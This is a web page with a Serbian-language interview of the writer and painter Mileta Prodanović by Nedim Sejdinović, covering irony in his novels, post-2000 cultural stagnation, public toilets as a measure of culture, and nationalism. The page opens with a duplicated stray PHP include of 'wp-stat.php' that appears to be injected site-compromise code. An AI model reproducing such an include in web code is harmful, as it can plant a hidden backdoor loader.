@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); MILETA PRODANOVIĆ, KNJIŽEVNIK I SLIKAR: Da li čisti toaleti vređaju naš nacionalni ponos? – Nedim Sejdinović

MILETA PRODANOVIĆ, KNJIŽEVNIK I SLIKAR: Da li čisti toaleti vređaju naš nacionalni ponos?

U književnim delima Milete Prodanović, naša stvarnost je provučena kroz relaksirajuću ironijsko-intelektualnu vizuru, u njima se ogledamo i potmulo smejemo vlastitoj izopačenosti. On pripada generaciji pisaca koja je potpala pod ne baš inventivnu sintagmu «nova srpska proza». Rođen je 1959. godine, a po osnovnoj vokaciji je slikar, profesor na Fakultetu likovnih umetnosti u Beogradu. Njegov roman prvenac, «Večera kod Svete Apolonije», objavljen je 1984. godine, a potom su usledile knjige: «Pas prebijene kičme», «Pleši, čudovište, na moju nežnu muziku», «Crvena marama, sva od svile», «Putopisi po slikama i etiketama», «Ovo bi mogao biti Vaš srećan dan», «Vrt u Veneciji», «Elipa u zemlji svetih šarana»…

U svakoj tvojoj knjizi naša agresivna (svako)dnevna stvarnost našla je svoje mesto (uz ironijski otklon), a, kako stvari stoje, ako smem tako zaključiti, čini se da će ona još dugo biti sastavni deo tvoje proze. Ponekad su likovi tvojih dela bili čak i neki poznati političari. Kakav je tvoj odgovor na pitanje – kako biti angažovan, a istovremeno razumljiv i našim i stranim, i sadašnjim i budućim čitaocima?

– Tokom devedesetih smatrao sam da je na neki način nemoralno otkloniti pogled od svega što se dešava oko nas. Bio sam sasvim svestan rizika koje donosi takvo pisanje, pisanje «na vruće», ali sam se uvek trudio da sve to bude postavljeno tako da može biti pročitano nakon mnogo godina. Postoje, naravno, aspekti koji, u tako postavljenom okviru, izmiču budućem ili stranom čitaocu. Stvar se ipak razlikuje od knjige do knjige. «Pas prebijene kičme», koji je napisan na samom početku devedesetih, biće, verujem, čitan na drugi način nego neke kasnije moje knjige. Ne mogu da kažem da će ta knjiga biti dokument, kod nas su se mnogi nesporazumi sa tragičnim ishodima dogodili baš zato što se brkaju knjige ili filmovi sa stvarnošću. Ali ta knjiga jeste nekakva slika mentalnog stanja. To je, mislim, dovoljno, to je bila intencija. Stepen ironičnog varira od knjige do knjige. Polazim od toga da je svaka knjiga projekat za sebe, postoji nekakav skup namera, one određuju jezik, okvir, strukturu i sve ostalo. Roman je projekat, voleo to neko da prizna ili ne. Postoje, naravno, veze i ukrštanja pojedinih mojih knjiga, ali ja i dalje nekako verujem da je svaka od njih za sebe. Ironija je, naravno, krajnji odgovor na zaoštrene okolnosti. Njih je bilo, bilo je i ludosti, bilo je situacija kada, skoro, nije mogao da postoji drugačiji odgovor. A kako je tih okolnosti bilo na svim prostorima i u svim vremenima čovek može da sklopi čitavu jednu plodnu tradiciju na koju može da se nadoveže, od Rablea, Domanovića…

Pored onih književnika koji su, «mitskim vetrovima», duvali u leđa ratnicima i zločinima, na našim prostorima postoji jedan sloj pisaca i pesnika koji su svih ovih godina bili odvojeni od stvarnosti kao da žive na Marsu. Kakav je tvoj odnos prema njima?

– Jedan od odgovora koji ćete čuti jeste čuvena «istorijska distanca». To je prilično licemeran odgovor. Ali, sa druge strane, umetnost jeste široko polje, pristupi su individualni, zašto ne dozvoliti i taj model, model askete koji okopava svoj vinograd. Nesreća je, međutim, ako se ispostavi da je tim vinogradom stvaran privid normalnosti, da su đubrivo za njega obezbeđivale tajne službe prethodnog režima u nekom od svojih bezbroj vidova (zašto ne reći – zadržane i u aktuelnom), nesreća je kada ti ljudi danas počnu da popuju i prozivaju one koji su, na ovaj ili onaj način, bili u areni.

Rekao si jednom prilikom da je pitanje srpske kulture – klozetsko pitanje (“Kada na Ibarskoj u svakom toaletu bude sapun, papir za ruke i papir za crevne završetke, kada ne bude amonijačnih i fekalnih poplava, tek onda ćemo moći da govorimo o tome da li je M. P. dobar pisac ili folirant, da li neka nova drama, knjiga ili izložba postavlja ova ili ona pitanja»)! Da li je to još uvek tako, odnosno ima li pomaka u toaletima na Ibarskoj magistrali?

– Možda se može reći da je to jedna vrsta izvedenog pitanja. Osnovno pitanje je problem potpunog nedostatka samopercepcije, nemogućnosti da se procene stvarne dimenzije sveta oko nas. Beograd je, na primer, u našoj vizuri, ili apsolutni pupak sveta ili pak predgrađe Sibira – nema trećeg. Tako je pisac, u patrijarhalnoj… usmenoj kulturi neka vrsta plemenskog šamana, njegov je domen – kosmičko. Sa jedne strane, u dominantno nepismenoj kulturi posednik pismenosti je sa jedne strane sumnjiv ako «nije naš» ili je, pak, «glas naroda» ako povlađuje kolektivnoj lenjosti, mitovima, entropiji, ako podržava sve vrste ludila. Pitanje izgleda okoline i javne higijene je suviše malo, nevažno u vaseljenskim vizijama naših kulturnih poslenika; mi rešavamo pitanja geopolitike, sukoba civilizacijskih ploča ili rimskog pape (ili, kako to naše novine odnedavno poetično kažu – «pontifa»), ko sad da se bavi činjenicom da drveće uz naše puteve rađa najlon-kese. Verujem da će u dugom procesu pristupanja Sjedinjenim Evropskim Državama postepeno doći do povećanja realizma u percepciji sopstvene zemlje, njenog mesta u regionu. Nisu za taj nesrazmer krivi samo neki davni mitski događaji i «zlatne kašike» – setite se, samo pre dve decenije naš vladar je bio «car trećeg sveta», a naša zemlja «nezaobilazni planetarni faktor». Neophodno svođenje na meru se polako dešava u nama susednim zemljama, jasno je da neće zaobići ni nas. Utoliko je ključno pitanje – da li OMV pumpa na skretanju za Valjevo, svojim čistim toaletima i opštom higijenom, vređa nacionalni ponos srpskog naroda?

Govorio si i o potrebi kulturne rekonstrukcije posle 5. oktobra, tvrdeći da će se iz mentalne lakše izvesti ostale promene. Kultura je međutim ljudima na vlasti bila – nekom “deveta rupa” a nekom “trinaesto prase”. A kulturna elita je ostala potpuno ista! Da li je prilika za rekontrukciju kulture propuštena sada kada vidimo da se i oni najveći «vampiri naše kulture» ponovo bude i ponovo privlače ogromnu medijsku pozornost?

– Da, prilika za veliko spremanje je propuštena. Nije bilo ni nagoveštaja nekakve «kulturne lustracije», ma kako je zamislilii… U takozvanim kulturnim rubrikama pišu isti ljudi koji su pisali i ranije. Oni koji su koliko juče objavljivali Miru Marković sad se polomiše da izdaju rukopise novih, demokratskih heroja. Uspostavljeno je nekakvo pravilo po kojem je «nekorektno» nekadešnjem saradniku JUL-a reći da je to bio – u toku je «tranzicija», nakaradna, naravno. Svaka ozbiljnija kritika je odavno mrtva, sada postoje samo promoteri. U polemikama se uzajamno vređaju ljudi koji to ne bi morali činiti, dok stvarne svinje ostaju po strani i likuju. To je, valjda, neka borba za buduću mapu kulturne i književne moći, tako sam čuo, ali, zaista, ne bih u to kolo. O kulturi se kod nas i dalje misli samo u sklopu ekscesa, kao da taj duh udbaške dnevne štampe za deset kinti prožima sve. To je najlakše, za svako ozbiljnije promišljanje potreban je napor, a sad je, zar ne, tranzicija, svi žure, ko još ima vremena da čita knjige. Čak i nešto što je bilo dobro postavljeno u prvom periodu nakon promena sada ponovo propada, mnogi ljudi koji su bili na prvoj liniji borbe za nekakvu normalnost su umorni, povlače se, jača «partijnost» u domenu kulture, traže se pripadnosti, kvote, kao u zlatna predratna vremena.

Da li je nacionalizam najskuplja srpska reč?

Po ukupnim posledicama svakako jeste, ali je istovremeno, na neki način, i najjeftinija. Suviše brzo se pretvorila u etiketu, a da niko pre toga nije zavirio u njen sadržaj. Ovdašnji nacionalizam se ispoljavao na najbrutalniji način, to je ono što se kod anglosaksonaca zove «džingoizam», bahati, primitivni, ksenofobični i tako dalje. Takav je i onaj koji obično nazivamo salonskim ili «nacionalizmom u fraku». Frak ne menja suštinu stvari. A ako bismo dalje analizirali šta bi mogao da bude sadržaj tog pojma, neki izvorni, širi, i kada bismo rekli da je nacionalista onaj ko je zabrinut za stanje svoje nacije, došli bismo lako do toga da su takozvani «mondijalisti» zapravo pravi nacionalisti jer poznaju širi kontekst u kojem nastaje i opstaje nacionalna kultura, jer poznaju i druge kulture pa svoju mogu da objektivno samere, jer se protive zlu počinjenom u ime nacije, jer znaju kako i koliko to opterećuje buduće naraštaje, jer se protive mitovima koji dubinski drogiraju narod i stvaraju humus za totalitarnu vlast, jer bolje poznaju sopstveni jezik od onih koji su zločinima širili granice i, mnogo uspešnije, svoje buđelare… Tako da smatram da su najveće ličnosti srpske prošlosti, Sveti Sava i Dositej Obradović, bili ono što bi se danas nazvalo tim nespretnim neologizmom «mondijalisti» jer su dobro poznavali kontekst tadašnjeg sveta, u datim parametrima proširili mentalne granice, preskakali podeoke na lestvici civilizacijskog uspona.

Nedim Sejdinović

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.